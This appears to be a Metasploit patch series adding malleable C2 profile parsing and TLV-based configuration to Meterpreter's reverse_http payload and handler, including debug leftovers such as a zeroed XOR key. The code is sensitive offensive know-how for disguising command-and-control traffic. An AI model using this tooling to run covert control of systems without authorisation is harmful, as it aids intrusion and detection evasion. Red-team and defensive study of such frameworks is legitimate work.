From 9164e15d0f3e0b77bf7e74e5940cd78ed5e02151 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Mon, 7 Jul 2025 13:27:03 +1000 Subject: [PATCH 01/65] First pass of TLV-based configuration and MC2 Munged a few commits into this one. But we have basic support for TLV-based configuration blocks instead of hard-coded block sizes. Initial support for the MC2 stuff is in as well, but more to come. --- lib/msf/core/handler/reverse_http.rb | 3 +- lib/msf/core/opt.rb | 2 - lib/msf/core/payload/malleable_c2.rb | 361 ++++++++++++++++++ lib/msf/core/payload/transport_config.rb | 1 + lib/rex/payloads/meterpreter/config.rb | 152 +++----- lib/rex/post/meterpreter/packet.rb | 57 ++- .../windows/meterpreter_reverse_http.rb | 2 + 7 files changed, 478 insertions(+), 100 deletions(-) create mode 100644 lib/msf/core/payload/malleable_c2.rb diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 13f56f18777aa..284988c1664fb 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -70,8 +70,7 @@ def initialize(info = {}) OptString.new('HttpUserAgent', 'The user-agent that the payload should use for communication', default: Rex::UserAgent.random, - aliases: ['MeterpreterUserAgent'], - max_length: Rex::Payloads::Meterpreter::Config::UA_SIZE - 1 + aliases: ['MeterpreterUserAgent'] ), OptString.new('HttpServerName', 'The server header that the handler will send in response to requests', diff --git a/lib/msf/core/opt.rb b/lib/msf/core/opt.rb index 81e479e585eb3..5a41c1bf72182 100644 --- a/lib/msf/core/opt.rb +++ b/lib/msf/core/opt.rb @@ -85,11 +85,9 @@ def self.http_proxy_options ), OptString.new('HttpProxyUser', 'An optional proxy server username', aliases: ['PayloadProxyUser'], - max_length: Rex::Payloads::Meterpreter::Config::PROXY_USER_SIZE - 1 ), OptString.new('HttpProxyPass', 'An optional proxy server password', aliases: ['PayloadProxyPass'], - max_length: Rex::Payloads::Meterpreter::Config::PROXY_PASS_SIZE - 1 ), OptEnum.new('HttpProxyType', 'The type of HTTP proxy', enums: ['HTTP', 'SOCKS'], diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb new file mode 100644 index 0000000000000..e6516f0b17858 --- /dev/null +++ b/lib/msf/core/payload/malleable_c2.rb @@ -0,0 +1,361 @@ +# -*- coding: binary -*- + +## +# This module contains helper functions for parsing and loading malleable +# C2 profiles into ruby objects. +## + +require 'strscan' +require 'rex/post/meterpreter/packet' + +module Msf::Payload::MalleableC2 + + MET = Rex::Post::Meterpreter + + class Token + attr_reader :type, :value + + def initialize(type, value) + @type = type + @value = value + end + end + + class Lexer + + attr_reader :tokens + + BLOCK_KEYWORDS = %w[ + client + http-get + http-post + http-stager + https-certificate + id + metadata + output + server + stage + transform-x64 + transform-x86 + ] + + OTHER_KEYWORDS = %w[ + add + append + base64 + base64url + dns + encode_hex + header + hostport + mask + netbios + netbiosu + parameter + prepend + print + remove + set + string + stringw + strrep + transform + unset + uri + uri-append + uri-query + xor + ] + + def initialize(file) + #@text = text + @tokens = [] + tokenize(File.read(file)) + end + + def is_block_keyword?(word) + BLOCK_KEYWORDS.include?(word) + end + + def tokenize(text) + scanner = StringScanner.new(text) + + until scanner.eos? + if scanner.scan(/\s+/) + # blank line + next + elsif scanner.scan(/^\s*#.*$/) + # comment + next + elsif scanner.scan(/\"(\\.|[^"])*\"/) + #@tokens << Token.new(:string, scanner.matched[1..-2]) + @tokens << Token.new(:string, scanner.matched[1..-2]) + elsif scanner.scan(/[a-zA-Z0-9_\-\.\/]+/) + word = scanner.matched + type = BLOCK_KEYWORDS.union(OTHER_KEYWORDS).include?(word) ? :keyword : :identifier + @tokens << Token.new(type, word) + elsif scanner.scan(/[{};]/) + @tokens << Token.new(:symbol, scanner.matched) + else + raise "Unexpected token near: #{scanner.peek(20)}" + end + end + end + end + + class ParsedProfile + attr_accessor :sets, :sections + + def initialize + @sets = [] + @sections = [] + end + + def get_set(key) + val = @sets.find {|s| s.key == key.downcase}&.value + if block_given? && !val.nil? + yield(val) + end + val + end + + def get_section(name) + sec = @sections.find {|s| s.name == name.downcase} + if block_given? && !sec.nil? + yield(sec) + end + sec + end + + def to_tlv + tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2) + + self.get_set('useragent') {|ua| tlv.add_tlv(MET::TLV_TYPE_C2_UA, ua)} + c2_uri = self.get_set('uri') + + self.get_section('http-get') {|http_get| + get_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2_GET) + get_uri = http_get.get_set('uri') || c2_uri + http_get.get_section('client') {|client| self.add_http_tlv(get_uri, client, get_tlv)} + # TODO: add client config to server and vice versa + tlv.tlvs << get_tlv + } + + self.get_section('http-post') {|http_post| + post_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2_POST) + post_uri = http_post.get_set('uri') || c2_uri + http_post.get_section('client') {|client| + # TODO: add client config to server and vice versa + self.add_http_tlv(post_uri, client, post_tlv) + + client.get_section('output') {|client_output| + enc_flags = 0 + enc_flags |= MET::C2_ENCODING_FLAG_B64 if client_output.has_directive('base64') + enc_flags |= MET::C2_ENCODING_FLAG_B64URL if client_output.has_directive('base64url') + post_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != 0 + + prepend_data = client_output.get_directive('prepend').map{|d|d.args[0]}.reverse.join("") + post_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX, prepend_data) unless prepend_data.empty? + append_data = client_output.get_directive('append').map{|d|d.args[0]}.join("") + post_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX, append_data) unless append_data.empty? + } + } + + tlv.tlvs << post_tlv + } + + tlv + end + + def add_http_tlv(base_uri, section, group_tlv) + section.get_set('useragent') {|v| group_tlv.add_tlv(MET::TLV_TYPE_C2_UA, v)} + + self.add_uri(base_uri, section, group_tlv) + self.add_header(section, group_tlv) + end + + def add_header(section, group_tlv) + headers = section.get_directive('header').map {|dir| "#{dir.args[0]}: #{dir.args[1]}"}.join("\r\n") + group_tlv.add_tlv(MET::TLV_TYPE_C2_OTHER_HEADERS, headers) unless headers.empty? + headers + end + + def add_uri(base_uri, section, group_tlv) + uri = base_uri || "" + query_string = section.get_directive('parameter').map {|dir| "#{dir.args[0]}=#{URI.encode_uri_component(dir.args[1])}" }.join("&") + unless query_string.empty? + uri << "?" + uri << query_string + end + group_tlv.add_tlv(MET::TLV_TYPE_C2_URI, uri) unless uri.empty? + uri + end + end + + class ParsedSet + attr_accessor :key, :value + def initialize(key, value) + @key = key.downcase + @value = value + end + end + + class ParsedSection + attr_accessor :name, :entries, :sections + def initialize(name) + @name = name.downcase + @entries = [] + @sections = [] + end + + def get_set(key) + val = @entries.find {|s| s.kind_of?(ParsedSet) && s.key == key.downcase}&.value + if block_given? && !val.nil? + yield(val) + end + val + end + + def get_directive(type) + # there can be multiple instances of the same directive type so we have + # to return an array instead of a single instance + @entries.find_all {|d| d.kind_of?(ParsedDirective) && d.type == type.downcase} + end + + def has_directive(type) + @entries.find_all {|d| d.kind_of?(ParsedDirective) && d.type == type.downcase}.length > 0 + end + + def get_section(name) + sec = @sections.find {|s| s.name == name.downcase} + if block_given? && !sec.nil? + yield(sec) + end + sec + end + end + + class ParsedDirective + attr_accessor :type, :args + def initialize(type, args) + @type = type.downcase + @args = args + end + end + + class Parser + attr_reader :lexer + + def initialize + @lexer = nil + end + + def parse(file) + @lexer = Lexer.new(file) + @index = 0 + profile = ParsedProfile.new + + while current_token + if match_keyword('set') + profile.sets << parse_set + elsif current_token.type == :keyword && @lexer.is_block_keyword?(current_token.value) + profile.sections << parse_section + else + raise "Unexpected token at tope level: #{current_token.type}=#{current_token.value}" + end + end + + #@lexer = nil + profile + end + + def parse_set + expect_keyword('set') + key = expect([:identifier, :keyword]).value + value = expect(:string).value + expect_symbol(';') + ParsedSet.new(key, value) + end + + def parse_section + name = expect(:keyword).value + expect_symbol('{') + section = ParsedSection.new(name) + + while !match_symbol('}') && current_token + if match_keyword('set') + section.entries << parse_set + elsif current_token.type == :keyword + if @lexer.is_block_keyword?(current_token.value) + section.sections << parse_section + else + section.entries << parse_directive + end + else + raise "Unexpected content in block #{name}: #{current_token.value}" + end + end + + expect_symbol('}') + section + end + + def parse_directive + type = expect(:keyword).value + args = [] + while current_token && !match_symbol(';') + if [:string, :identifier, :keyword].include?(current_token.type) + args << current_token.value + next_token + else + break + end + end + expect_symbol(';') + ParsedDirective.new(type, args) + end + + def current_token + @lexer.tokens[@index] + end + + def next_token + @index += 1 + current_token + end + + def expect(types) + token = current_token + types = [types] unless types.kind_of?(Array) + raise "Expected #{types.inspect}, got #{token&.type}=#{token&.value}" unless token && types.include?(token.type) + next_token + token + end + + def expect_keyword(word) + token = current_token + raise "Expected keyword '#{word}', got #{token&.value}" unless token && token.type == :keyword && token.value == word + next_token + token + end + + def expect_symbol(symbol) + token = current_token + raise "Expected symbol '#{symbol}', got #{token&.value}" unless token && token.type == :symbol && token.value == symbol + next_token + token + end + + def match_keyword(word) + token = current_token + token && token.type == :keyword && token.value == word + end + + def match_symbol(symbol) + token = current_token + token && token.type == :symbol && token.value == symbol + end + end + +end diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb index a2acc8a229ef0..2dd7943a591a1 100644 --- a/lib/msf/core/payload/transport_config.rb +++ b/lib/msf/core/payload/transport_config.rb @@ -96,6 +96,7 @@ def transport_config_reverse_http(opts={}) host: ds['HttpHostHeader'], cookie: ds['HttpCookie'], referer: ds['HttpReferer'], + c2_profile: opts[:c2_profile], custom_headers: get_custom_headers(ds) }.merge(timeout_config(opts)) end diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 6c503af916d8a..be8092993f146 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -1,18 +1,15 @@ # -*- coding: binary -*- require 'rex/socket/x509_certificate' require 'rex/post/meterpreter/extension_mapper' +require 'rex/post/meterpreter/packet' +require 'msf/core/payload/malleable_c2' require 'securerandom' + class Rex::Payloads::Meterpreter::Config include Msf::ReflectiveDLLLoader - URL_SIZE = 512 - UA_SIZE = 256 - PROXY_HOST_SIZE = 128 - PROXY_USER_SIZE = 64 - PROXY_PASS_SIZE = 64 - CERT_HASH_SIZE = 20 - LOG_PATH_SIZE = 260 # https://docs.microsoft.com/en-us/windows/win32/fileio/maximum-file-path-limitation?tabs=cmd + MET = Rex::Post::Meterpreter def initialize(opts={}) @opts = opts @@ -49,7 +46,7 @@ def to_ascii(item, size) item.to_s.ljust(size, "\x00") end - def session_block(opts) + def add_session_tlv(tlv, opts) uuid = opts[:uuid].to_raw exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]] @@ -60,23 +57,19 @@ def session_block(opts) else session_guid = [SecureRandom.uuid.gsub('-', '')].pack('H*') end - session_data = [ - 0, # comms socket, patched in by the stager - exit_func, # exit function identifier - opts[:expiration], # Session expiry - uuid, # the UUID - session_guid, # the Session GUID - ] - pack_string = 'QVVA*A*' - if opts[:debug_build] - session_data << to_str(opts[:log_path] || '', LOG_PATH_SIZE) # Path to log file on remote target - pack_string << 'A*' - end - session_data.pack(pack_string) + tlv.add_tlv(MET::TLV_TYPE_EXITFUNC, exit_func) + STDERR.puts("Sess Exp: #{opts[:expiration]}\n") + tlv.add_tlv(MET::TLV_TYPE_SESSION_EXPIRY, opts[:expiration]) + tlv.add_tlv(MET::TLV_TYPE_UUID, uuid) + tlv.add_tlv(MET::TLV_TYPE_SESSION_GUID, session_guid) + + if opts[:debug_build] && opts[:log_path] + tlv.add_tlv(MET::TLV_TYPE_DEBUG_LOG, opts[:log_path]) + end end - def transport_block(opts) + def add_c2_tlv(tlv, opts) # Build the URL from the given parameters, and pad it out to the # correct size lhost = opts[:lhost] @@ -84,21 +77,31 @@ def transport_block(opts) lhost = "[#{lhost}]" end + unless (opts[:c2_profile] || '').empty? + parser = Msf::Payload::MalleableC2::Parser.new + profile = parser.parse(opts[:c2_profile]) + c2_tlv = profile.to_tlv + else + c2_tlv= MET::GroupTlv.new(MET::TLV_TYPE_C2) + + c2_tlv.add_tlv(MET::TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) + c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total]) + c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait]) + + # TODO: make sure all header types/etc are covered. + + c2_tlv.add_tlv(MET::TLV_TYPE_C2_UA, opts[:ua]) unless (opts[:ua] || '').empty? + end + url = "#{opts[:scheme]}://#{lhost}" url << ":#{opts[:lport]}" if opts[:lport] url << "#{opts[:uri]}/" if opts[:uri] url << "?#{opts[:scope_id]}" if opts[:scope_id] - # if the transport URI is for a HTTP payload we need to add a stack - # of other stuff - pack = 'A*VVV' - transport_data = [ - to_str(url, URL_SIZE), # transport URL - opts[:comm_timeout], # communications timeout - opts[:retry_total], # retry total time - opts[:retry_wait] # retry wait time - ] + c2_tlv.add_tlv(MET::TLV_TYPE_C2_URL, url) + # if the transport URI is for a HTTP payload we need to add a stack + # of other stuff that can only be set in MSF, not in the C2 profile if url.start_with?('http') proxy_host = '' if opts[:proxy_host] && opts[:proxy_port] @@ -106,68 +109,44 @@ def transport_block(opts) prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks' proxy_host = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}" end - proxy_host = to_str(proxy_host || '', PROXY_HOST_SIZE) - proxy_user = to_str(opts[:proxy_user] || '', PROXY_USER_SIZE) - proxy_pass = to_str(opts[:proxy_pass] || '', PROXY_PASS_SIZE) - ua = to_str(opts[:ua] || '', UA_SIZE) - - cert_hash = "\x00" * CERT_HASH_SIZE - cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash] - - custom_headers = opts[:custom_headers] || '' - custom_headers = to_str(custom_headers, custom_headers.length + 1) - - # add the HTTP specific stuff - transport_data << proxy_host # Proxy host name - transport_data << proxy_user # Proxy user name - transport_data << proxy_pass # Proxy password - transport_data << ua # HTTP user agent - transport_data << cert_hash # SSL cert hash for verification - transport_data << custom_headers # any custom headers that the client needs - - # update the packing spec - pack << 'A*A*A*A*A*A*' + + c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_HOST, proxy_host) unless (proxy_host || '').empty? + c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_USER, opts[:proxy_user]) unless (opts[:proxy_user] || '').empty? + c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_PASS, opts[:proxy_pass]) unless (opts[:proxy_pass] || '').empty? + + c2_tlv.add_tlv(MET::TLV_TYPE_C2_CERT_HASH, opts[:ssl_cert_hash]) unless (opts[:ssl_cert_hash] || '').empty? + c2_tlv.add_tlv(MET::TLV_TYPE_C2_HEADER, opts[:custom_headers]) unless (opts[:custom_headers] || '').empty? end - # return the packed transport information - transport_data.pack(pack) + tlv.tlvs << c2_tlv end - def extension_block(ext_name, file_extension, debug_build: false) + def add_extension_tlv(tlv, ext_name, ext_init_path, file_extension, debug_build: false) ext_name = ext_name.strip.downcase ext, _ = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{ext_name}", file_extension, debug: debug_build)) - [ ext.length, ext ].pack('VA*') - end - - def extension_init_block(name, value) - ext_id = Rex::Post::Meterpreter::ExtensionMapper.get_extension_id(name) - - # for now, we're going to blindly assume that the value is a path to a file - # which contains the data that gets passed to the extension - content = ::File.read(value, mode: 'rb') + "\x00\x00" - data = [ - ext_id, - content.length, - content - ] - - data.pack('VVA*') + ext_tlv = MET::GroupTlv.new(MET::TLV_TYPE_EXTENSION) + ext_tlv.add_tlv(MET::TLV_TYPE_DATA, ext) + unless (ext_init_path || '').empty? + ext_id = Rex::Post::Meterpreter::ExtensionMapper.get_extension_id(ext_name) + init_data = ::File.read(ext_init_path, mode: 'rb') + ext_tlv.add_tlv(MET::TLV_TYPE_STRING, init_data) unless (init_data || '').empty? + ext_tlv.add_tlv(MET::TLV_META_TYPE_UINT, ext_id) + end + tlv.tlvs << ext_tlv end def config_block # start with the session information - config = session_block(@opts) + config_packet = MET::Packet.create_config() + add_session_tlv(config_packet, @opts) # then load up the transport configurations (@opts[:transports] || []).each do |t| - config << transport_block(t) + add_c2_tlv(config_packet, t) end - # terminate the transports with NULL (wchar) - config << "\x00\x00" - # configure the extensions - this will have to change when posix comes # into play. file_extension = 'x86.dll' @@ -185,23 +164,16 @@ def config_block ) end - (@opts[:extensions] || []).each do |e| - config << extension_block(e, file_extension, debug_build: @opts[:debug_build]) - end - - # terminate the extensions with a 0 size - config << [0].pack('V') + ext_inits = (@opts[:ext_init] || '').split(':').map{|v| v.split(',')}.to_h{|l| l} - # wire in the extension init data - (@opts[:ext_init] || '').split(':').each do |cfg| - name, value = cfg.split(',') - config << extension_init_block(name, value) + (@opts[:extensions] || []).each do |e| + add_extension_tlv(config_packet, e, ext_inits[e], file_extension, debug_build: @opts[:debug_build]) end - # terminate the ext init config with -1 - config << "\xFF\xFF\xFF\xFF" + # comms handle needs to have space added, as this is where things are patched by the stager + comms_handle = "\x00" * 8 + config_bytes = config_packet.to_r - # and we're done - config + comms_handle + config_bytes end end diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index a3823579da95a..3fe63a203dba3 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -11,6 +11,7 @@ module Meterpreter # PACKET_TYPE_REQUEST = 0 PACKET_TYPE_RESPONSE = 1 +PACKET_TYPE_CONFIG = 2 PACKET_TYPE_PLAIN_REQUEST = 10 PACKET_TYPE_PLAIN_RESPONSE = 11 @@ -121,6 +122,40 @@ module Meterpreter TLV_TYPE_PIVOT_STAGE_DATA = TLV_META_TYPE_RAW | 651 TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_META_TYPE_STRING | 653 +# +# Configuration options +# +TLV_TYPE_SESSION_EXPIRY = TLV_META_TYPE_UINT | 700 # Session expiration time +TLV_TYPE_EXITFUNC = TLV_META_TYPE_UINT | 701 # identifier of the exit function to use +TLV_TYPE_DEBUG_LOG = TLV_META_TYPE_STRING | 702 # path to write debug log +TLV_TYPE_EXTENSION = TLV_META_TYPE_GROUP | 703 # Group containing extension info +TLV_TYPE_C2 = TLV_META_TYPE_GROUP | 704 # a C2/transport grouping +TLV_TYPE_C2_COMM_TIMEOUT = TLV_META_TYPE_UINT | 705 # the timeout for this C2 group +TLV_TYPE_C2_RETRY_TOTAL = TLV_META_TYPE_UINT | 706 # number of times to retry this C2 +TLV_TYPE_C2_RETRY_WAIT = TLV_META_TYPE_UINT | 707 # how long to wait between reconnect attempts +TLV_TYPE_C2_URL = TLV_META_TYPE_STRING | 708 # base URL of this C2 (scheme://host:port/uri) +TLV_TYPE_C2_URI = TLV_META_TYPE_STRING | 709 # URI to append to base URL (for HTTP(s)), if any +TLV_TYPE_C2_PROXY_HOST = TLV_META_TYPE_STRING | 710 # Host name of proxy +TLV_TYPE_C2_PROXY_USER = TLV_META_TYPE_STRING | 711 # Proxy user name +TLV_TYPE_C2_PROXY_PASS = TLV_META_TYPE_STRING | 712 # Proxy password +TLV_TYPE_C2_GET = TLV_META_TYPE_GROUP | 713 # A grouping of params associated with GET requests +TLV_TYPE_C2_POST = TLV_META_TYPE_GROUP | 714 # A grouping of params associated with POST requests +TLV_TYPE_C2_OTHER_HEADERS = TLV_META_TYPE_STRING | 715 # Custom headers +TLV_TYPE_C2_UA = TLV_META_TYPE_STRING | 716 # User agent +TLV_TYPE_C2_CERT_HASH = TLV_META_TYPE_RAW | 717 # Expected SSL certificate hash +TLV_TYPE_C2_PREFIX = TLV_META_TYPE_STRING | 718 # Data to prepend to the outgoing payload +TLV_TYPE_C2_SUFFIX = TLV_META_TYPE_STRING | 719 # Data to append to the outgoing payload +TLV_TYPE_C2_ENC = TLV_META_TYPE_UINT | 720 # Request encoding flags (Base64|URL|Base64url) +TLV_TYPE_C2_SKIP_COUNT = TLV_META_TYPE_UINT | 721 # Number of bytes of the incoming payload to ignore before parsing +TLV_TYPE_C2_REFERRER = TLV_META_TYPE_STRING | 722 # Referrer string +TLV_TYPE_C2_ACCEPT_TYPES = TLV_META_TYPE_STRING | 723 # Accept types string + +# +# C2 Encoding flags +# +C2_ENCODING_FLAG_B64 = (1 << 0) # straight Base64 encoding +C2_ENCODING_FLAG_B64URL = (1 << 1) # encoding Base64 with URL-safe values +C2_ENCODING_FLAG_URL = (1 << 2) # straight URL encoding # # Core flags @@ -816,6 +851,10 @@ class Packet < GroupTlv # ## + def Packet.create_config() + Packet.new(PACKET_TYPE_CONFIG) + end + # # Creates a request with the supplied method. # @@ -945,17 +984,23 @@ def aes_decrypt(key, iv, data) # def to_r(session_guid = nil, key = nil) xor_key = (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr + # for debugging purposes + xor_key = "\x00" * 4 raw = (session_guid || NULL_GUID).dup tlv_data = GroupTlv.instance_method(:to_r).bind(self).call - if key && key[:key] && (key[:type] == ENC_FLAG_AES128 || key[:type] == ENC_FLAG_AES256) - # encrypt the data, but not include the length and type - iv, ciphertext = aes_encrypt(key[:key], tlv_data[HEADER_SIZE..-1]) - # now manually add the length/type/iv/ciphertext - raw << [key[:type], iv.length + ciphertext.length + HEADER_SIZE, self.type, iv, ciphertext].pack('NNNA*A*') - else + if @type == PACKET_TYPE_CONFIG raw << [ENC_FLAG_NONE, tlv_data].pack('NA*') + else + if key && key[:key] && (key[:type] == ENC_FLAG_AES128 || key[:type] == ENC_FLAG_AES256) + # encrypt the data, but not include the length and type + iv, ciphertext = aes_encrypt(key[:key], tlv_data[HEADER_SIZE..-1]) + # now manually add the length/type/iv/ciphertext + raw << [key[:type], iv.length + ciphertext.length + HEADER_SIZE, self.type, iv, ciphertext].pack('NNNA*A*') + else + raw << [ENC_FLAG_NONE, tlv_data].pack('NA*') + end end # return the xor'd result with the key diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index 97fb03b8cbfd2..afd247a846f29 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -28,6 +28,7 @@ def initialize(info = {}) ) register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) ]) @@ -45,6 +46,7 @@ def generate(opts = {}) def generate_config(opts = {}) opts[:uuid] ||= generate_payload_uuid + opts[:c2_profile] = datastore['MALLEABLEC2'] # create the configuration block config_opts = { From 167545885719b6837d64060bd178f0fa101d8f1f Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Thu, 10 Jul 2025 10:46:27 +1000 Subject: [PATCH 02/65] "Working" C2 sessions with diff GET/POST uris Still don't have all the fields implemented, but this at least supports the notion of having different URIs for GET and POST. The approach taken, to reduce the impact on how much code has to be changed, is to extract the UUID for the connection and use that as a resource identifier. This UUID doesn't have any slashes in it, and hence will not collide with any URI. This means we can use the UUID as a key in the same hash as the resource URIs knowing that a direct lookup will find the right session, even if by some miracle the UUID collides with a chosen/generated URI. Any URI in the resource list will be prefixed with a forward slash. The listener will listen on all URIs that exist for the Meterp configuration, including LURI setting, and the `uri` values in all three areas that it might be specified in the C2 profile. --- lib/msf/core/handler/reverse_http.rb | 65 ++++++++++++------- lib/msf/core/payload/malleable_c2.rb | 40 +++++++++++- lib/rex/payloads/meterpreter/uri_checksum.rb | 35 +++++++--- lib/rex/post/meterpreter/packet.rb | 7 +- lib/rex/post/meterpreter/packet_dispatcher.rb | 16 ++--- lib/rex/proto/http/server.rb | 39 +++++++---- .../lib/msf/core/handler/reverse_http_spec.rb | 6 +- 7 files changed, 149 insertions(+), 59 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 284988c1664fb..b8745291f6ff8 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -179,26 +179,43 @@ def scheme (ssl?) ? 'https' : 'http' end - # The local URI for the handler. - # - # @return [String] Representation of the URI to listen on. - def luri - l = datastore['LURI'] || "" + def construct_luri(base_uri) - if l && l.length > 0 + if base_uri && base_uri.length > 0 # strip trailing slashes - while l[-1, 1] == '/' - l = l[0...-1] + while base_uri[-1, 1] == '/' + base_uri = base_uri[0...-1] end # make sure the luri has the prefix - if l[0, 1] != '/' - l = "/#{l}" + if base_uri[0, 1] != '/' + base_uri = "/#{base_uri}" end end - l.dup + base_uri.dup + end + + # The local URI for the handler. + # + # @return [String] Representation of the URI to listen on. + def luri + construct_luri(datastore['LURI'] || "") + end + + def all_uris + all = [luri] + c2_profile = datastore['MALLEABLEC2'] || '' + + unless c2_profile.empty? + parser = Msf::Payload::MalleableC2::Parser.new + profile = parser.parse(c2_profile) + uris = profile.uris.map {|u| construct_luri(u)} + all.push(*uris) + end + + all end # Create an HTTP listener @@ -238,13 +255,15 @@ def setup_handler self.service.server_name = datastore['HttpServerName'] # Add the new resource - resource_path = (luri + "/").gsub("//", "/") - service.add_resource(resource_path, - 'Proc' => Proc.new { |cli, req| - on_request(cli, req) - }, - 'VirtualDirectory' => true) - self.resource_added = true + all_uris.each {|u| + r = (u + "/").gsub("//", "/") + service.add_resource(r, + 'Proc' => Proc.new { |cli, req| + on_request(cli, req) + }, + 'VirtualDirectory' => true) + } + @resources_added = true print_status("Started #{scheme.upcase} reverse handler on #{listener_uri(local_addr)}") lookup_proxy_settings @@ -260,9 +279,12 @@ def setup_handler # def stop_handler if self.service - if self.resource_added - self.service.remove_resource((luri + "/").gsub("//", "/")) - self.resource_added = false + if @resources_added + all_uris.each {|u| + r = (u + "/").gsub("//", "/") + self.service.remove_resource(r) + } + @resources_added = false end self.service.deref self.service = nil @@ -270,7 +292,6 @@ def stop_handler end attr_accessor :service # :nodoc: - attr_accessor :resource_added # :nodoc: protected diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index e6516f0b17858..01a44fd7f2491 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -128,6 +128,24 @@ def get_section(name) sec end + def uris + base_uri = self.get_set('uri') + get_uri = nil + post_uri = nil + + self.get_section('http-get') {|http_get| + get_uri = http_get.get_set('uri') + } + self.get_section('http-post') {|http_post| + post_uri = http_post.get_set('uri') + } + STDERR.puts("base uri: #{base_uri}\n") + STDERR.puts("get uri: #{get_uri}\n") + STDERR.puts("post uri: #{post_uri}\n") + + [base_uri, get_uri, post_uri].compact + end + def to_tlv tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2) @@ -137,7 +155,19 @@ def to_tlv self.get_section('http-get') {|http_get| get_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2_GET) get_uri = http_get.get_set('uri') || c2_uri - http_get.get_section('client') {|client| self.add_http_tlv(get_uri, client, get_tlv)} + http_get.get_section('client') {|client| + self.add_http_tlv(get_uri, client, get_tlv) + client.get_section('metadata') {|meta| + enc_flags = 0 + enc_flags |= MET::C2_ENCODING_FLAG_B64 if meta.has_directive('base64') + enc_flags |= MET::C2_ENCODING_FLAG_B64URL if meta.has_directive('base64url') + + get_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != 0 + get_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_GET, meta.get_directive('parameter')[0]) if meta.has_directive('parameter') + get_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_HEADER, meta.get_directive('header')[0]) if meta.has_directive('header') + # assume uri-append for POST otherwise. + } + } # TODO: add client config to server and vice versa tlv.tlvs << get_tlv } @@ -153,6 +183,7 @@ def to_tlv enc_flags = 0 enc_flags |= MET::C2_ENCODING_FLAG_B64 if client_output.has_directive('base64') enc_flags |= MET::C2_ENCODING_FLAG_B64URL if client_output.has_directive('base64url') + post_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != 0 prepend_data = client_output.get_directive('prepend').map{|d|d.args[0]}.reverse.join("") @@ -160,6 +191,13 @@ def to_tlv append_data = client_output.get_directive('append').map{|d|d.args[0]}.join("") post_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX, append_data) unless append_data.empty? } + + client.get_section('id') {|client_id| + post_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_GET, client_id.get_directive('parameter')[0]) if client_id.has_directive('parameter') + post_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_HEADER, client_id.get_directive('header')[0]) if client_id.has_directive('header') + # assume uri-append for POST otherwise given that we always put the TLV payload in the body? + # TODO: add support for adding a form rather than just a payload body? + } } tlv.tlvs << post_tlv diff --git a/lib/rex/payloads/meterpreter/uri_checksum.rb b/lib/rex/payloads/meterpreter/uri_checksum.rb index 22f940754574b..6b55506c7ea79 100644 --- a/lib/rex/payloads/meterpreter/uri_checksum.rb +++ b/lib/rex/payloads/meterpreter/uri_checksum.rb @@ -33,16 +33,7 @@ module UriChecksum URI_CHECKSUM_UUID_MIN_LEN = URI_CHECKSUM_MIN_LEN + Msf::Payload::UUID::UriLength - # Map "random" URIs to static strings, allowing us to randomize - # the URI sent in the first request. - # - # @param uri [String] The URI string from the HTTP request - # @return [Hash] The attributes extracted from the URI - def process_uri_resource(uri) - - # Ignore non-base64url characters in the URL - uri_bare = uri.gsub(/[^a-zA-Z0-9_\-]/, '') 